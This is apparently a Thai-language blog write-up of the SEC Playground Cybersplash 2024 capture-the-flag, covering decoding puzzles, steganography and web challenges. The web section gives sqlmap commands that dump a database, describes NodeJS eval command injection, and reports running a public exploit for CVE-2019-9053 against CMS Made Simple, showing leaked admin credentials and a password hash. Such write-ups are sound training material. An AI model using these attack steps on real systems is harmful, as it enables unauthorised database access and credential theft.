[SEC Playground : Cybersplash 2024] Writeups

Pawut Jingjit
5 min readApr 18, 2024

Misc

01 — Hello World

Just start, please download and decode it.
PS. This is not a cloud security challenge

Format: helloworld{…}

Solution

== ลงท้ายสองตัว เป็นอื่นไม่ได้นอกจาก Encode Base64

เมื่อเพื่อนๆนำไปผ่าน Decode ก็จะได้ Flag แล้วครับ โดยในที่นี้ ผู้เขียนบทความใช้ Cyberchef

02 — APT

What is suspect account who commit backdoor to xz-utils 5.6.1
Format: misc{[[suspect email]]}

Solution

ถ้าเพื่อนๆตาม Live นายอาร์ม น่าจะคุ้นๆนะครับ ถือว่าทีมงานอัพเดทมาก LOL จะพบว่า JiaT75 เป็นคน Commit ครับ

เมื่อไปค้นใน Github ของเขา จะเจอ email

03 — Not cloud

Something is gonna be easy when you just try to view it
Format misc{…}

Solution

เมื่อลองถอย Path ลงไป จะเจอ cloud index

นี่เป็นหนึ่งในการ setup Cloud ที่ไม่ดี โดยไม่ได้ซ่อน index ไว้ครับ ผู้โจมตีจึงสามารถเรียก index path มาได้ครับ

สารภาพว่า เจ้าของบทความเคย setup แบบนี้เลยครับ คิดว่าหลายๆคนก็น่าจะเคยเหมือนกัน LOL

เมื่อไล่ Path ไป จะพบกับไฟล์หนึ่ง ที่เป็น Flag
The flag is misc{N0t_cl0uD_Ch@773ng3}

04 — Echoes of the Playground

In the realm of digital whispers, words are more than they appear. Each word hides in plain sight, bearing a secret in binary. Some say that translating them unveils the key to the playground of the cyberguards. Can you uncover the message encoded in the linguistic binary and find the key to the playground?

Format: misc{…}

ZeroBeginIgniteNoneOpenActivateNeglectEngageNullInitiateOperateOffOnEmptyAbsentBeginVoidIgniteOpenActivateIdleZeroEngageInitiateNoneOperateOnNeglectNullOffBeginIgniteEmptyOpenActivateEngageInitiateAbsentOperateOnVoidBeginIgniteOpenZeroNoneActivateEngageNeglectNullInitiateOperateOffEmptyOnBeginAbsentIgniteOpenVoidIdleZeroActivateEngageNoneInitiateNeglectOperateNullOffEmptyAbsentVoidZeroOnBeginNoneIgniteOpenActivateNeglectEngageNullOffEmptyAbsentVoidInitiateIdleOperateOnBeginIgniteZeroNoneOpenNeglectActivateEngageNullOffInitiateOperateOnEmptyBeginIgniteOpenAbsentVoidActivateZeroNoneNeglectEngageInitiateNullOffEmptyAbsentVoidOperateOnBeginIdleIgniteZeroOpenNoneActivateEngageNeglectInitiateOperateOnNullOffBeginEmptyAbsentVoidIgniteZeroNoneNeglectOpenActivateEngageInitiateOperateNullOn

Solution

เมื่อเพื่อนๆลองนับคำดู เพื่อนๆจะได้ 152 คำ ซึ่งสังเกตได้ว่า หารด้วย 8 ลงตัว โอกาสสูงมากที่จะเป็น Binary (0 , 1) ครับ

เมื่ออ่านข้อความ แล้วคิดว่า มันต้องเป็น 0 , 1 เท่านั้นแล้วละก็ ทุกอย่างก็ลงตัวแล้วครับ

Begin — 0

Zero — 0

Ignite — 1

ลองเอาไปเขียน Code บน NodeJS จะได้

let str = "ZeroBeginIgniteNoneOpenActivateNeglectEngageNullInitiateOperateOffOnEmptyAbsentBeginVoidIgniteOpenActivateIdleZeroEngageInitiateNoneOperateOnNeglectNullOffBeginIgniteEmptyOpenActivateEngageInitiateAbsentOperateOnVoidBeginIgniteOpenZeroNoneActivateEngageNeglectNullInitiateOperateOffEmptyOnBeginAbsentIgniteOpenVoidIdleZeroActivateEngageNoneInitiateNeglectOperateNullOffEmptyAbsentVoidZeroOnBeginNoneIgniteOpenActivateNeglectEngageNullOffEmptyAbsentVoidInitiateIdleOperateOnBeginIgniteZeroNoneOpenNeglectActivateEngageNullOffInitiateOperateOnEmptyBeginIgniteOpenAbsentVoidActivateZeroNoneNeglectEngageInitiateNullOffEmptyAbsentVoidOperateOnBeginIdleIgniteZeroOpenNoneActivateEngageNeglectInitiateOperateOnNullOffBeginEmptyAbsentVoidIgniteZeroNoneNeglectOpenActivateEngageInitiateOperateNullOn"

function capitalizeFirstLetter(word) {
return word.charAt(0).toUpperCase() + word.slice(1);
}

function splitAndCapitalize(str) {
const words = str.split(/(?=[A-Z])/);
return words.map(capitalizeFirstLetter);
}

console.log(splitAndCapitalize(str) , "splittttttt")

console.log(splitAndCapitalize(str).length , "size")

const uniqueWords = new Set(splitAndCapitalize(str));
const uniqueWordsList = Array.from(uniqueWords)

console.log(uniqueWordsList)

str = str.replaceAll(/Zero/g,"0")
str = str.replaceAll(/Ignite/g,"1")
str = str.replaceAll(/Open/g,"1")
str = str.replaceAll(/Neglect/g,"0")
str = str.replaceAll(/Null/g,"0")
str = str.replaceAll(/Operate/g,"1")
str = str.replaceAll(/On/g,"1")
str = str.replaceAll(/Absent/g,"0")
str = str.replaceAll(/Idle/g,"0")
str = str.replaceAll(/Begin/g,"1")
str = str.replaceAll(/None/g,"0")
str = str.replaceAll(/Activate/g,"1")
str = str.replaceAll(/Engage/g,"1")
str = str.replaceAll(/Initiate/g,"1")
str = str.replaceAll(/Off/g,"0")
str = str.replaceAll(/Empty/g,"0")
str = str.replaceAll(/Void/g,"0")

console.log(str , "end");

// 01101101011010010111001101100011011110110111001100110011011000110101000000110111010000010111100101100111011100100011000001110101011011100100010001111101

เมื่อเพื่อนๆเอาไปถอด Binary บน CyberChef เพื่อนจะได้รับ Flag ครับ

misc{s3cP7Aygr0unD}

Cryptography

01 — Something behind

In the image there is a flag.txt file. In the file there is a flag answer inside. Can you find it?
Format: forensic{…}

Solution

เมื่อเพื่อนๆลองอัพโหลตไฟล์ไปที่ aperisolve

เมื่อ Download Files ออกมา จะได้ Flag แล้วครับ
forensic{oPc8oN29N8}

Web Application Security

01 — Bookshop

Welcome, welcome!!! Please be kind and enjoy our bookshop
Format: web{…}
Port 80

Solution

มี input 1 ช่อง และเป็นข้อคะแนนน้อย ผมเก็งไว้เลยว่าต้องเป็น SQLi ครับ เมื่อลองทดสอบ

input = ‘

ปรากฏว่าขึ้น Error From SQL มาจริงๆ จึงมั่นใจได้เลยครับว่า SQLi อย่างแน่นอนครับ

ในเมื่อเป็นข้อง่าย เพื่อนๆซัดตาม Step ได้เลยครับ

sqlmap --method=POST -u  http://34.142.239.200/ --data "bookID=id" --dbs
ต้องการชื่อ DBs มาก่อน มองยังไงก็มั่นใจได้ครับว่า secret เป็น db ที่เราสนใจครับ
sqlmap --method=POST -u  http://34.142.239.200/ --data "bookID=id" -D secret --tables
เมื่อได้ชื่อ dbs แล้ว ต้องหาชื่อของ Table ต่อมา พบว่าชื่อ Flag ครับ
sqlmap --method=POST -u  http://34.142.239.200/ --data "bookID=id" -D secret -T flag --dump-all
หลังจากได้ table names เราก็ dumb ออกมาครับ

ถ้าเพื่อนๆสนใจการใช้ SQLmap สามารถทำ workshop เพิ่มเติมได้ที่ tryhackme นะครับ เจ้าของบทความว่าสอนได้ดีทีเดียวครับ

02 — Mynameis

Hi, Hello World with your name :)
Format: web{…}

Port 80, 4444, 4445, 4446

สารภาพว่าลืม Cap ภาพมาครับ TT แต่เป็น GET api ที่ถูกเขียนโดย nodejs101 ครับ

ซึ่งเขาจะแจ้งว่า สามารถรองรับ POST Method ที่มี body name ได้ครับ

Solution

Nodejs นั้นจะมีช่องโหว่ยอดนิยม สำหรับ CTF เรียกว่า Command Injection ครับ ผ่านการเขียน Code ที่ไม่ปลอดภัย อย่างการใช้ eval ที่เราสามารถแทรก Linux Command เข้าไปใน POST Method ได้ครับ

เป็น curl ที่ แทรก NodeJS Command เพื่อที่จะค้นหาไฟล์ txt ในเครื่องครับ
เมื่อได้ชื่อ File มาก็ cat มาอ่านได้เลยครับ
ข้อนี้ไม่ได้ Save ภาพอะไรเลย เจ้าของบทความนี่คือจัดใช้ได้เลยครับ ยังดีที่เซพ command solution

03 — Simple

We have some old CMS, please find the flag.

Format: web{…}

Solution (not complete)

ผมเคยทำข้อนี้ด้วยซ้ำไปนะครับ ตอนแรกก็ยิ้มแล้วว่า คะแนนข้อยากฟรี

เพื่อนที่สนใจตามย้อนหลัง สามารถตามที่ tryhackme ได้เลยครับ

ให้สรุปง่ายๆคือ CMS Made Simple Ver < 2.2.10 จะมี bug สำหรับ SQLi เข้าไปได้ครับ (แต่บัคนี้ถ้าใช้ SQLmap ตรงๆจะไม่เจอครับ)

CVE: 2019–9053

ซึ่งขั้นๆตอนจริงๆ จะแค่ Copy Code python ที่มีคนทำ Exploit ไว้

Code เมื่อ Run จะได้รับ

[+] Salt for password found: b7605adc292329c2
[+] Username found: admin@secplayground.com
[+] Email found: admin@secplayground.com
[*] Password found: a876e3732ce1e64bafa81dbf65d1a83c

จากประสบการณ์ตรง ใน Code Exploit จะมีการ Brute force password(hashed) ให้ได้ password จริงๆครับ แต่ขั้นตอนนี้จะ Run นานมากครับ

คิดสภาพว่า เรากำลังวิ่งใน rockyou.txt ที่มี 10 ล้าน Rows ด้วย python ครับ

วิธีที่ดีกว่าคือ เราจะไม่ Run method crack_password() แต่ให้เรา crack เองผ่าน John the Ripper หรือ hashcat ครับ

แต่ทว่า … รหัสผ่านนั้นไม่ได้อยู่ใน rockyou.txt ครับ ซึ่งเจ้าของบทความคิดว่า เพื่อนๆหลายคนก็น่าจะมาติดที่เดียวกันครับ

บทความนี้จึงถูกตัดจบตรงนี้ พร้อมๆกับ 30 คะแนนฟรีของผมครับ เจอกันใน part 2 นะครับเพื่อนๆ

--

--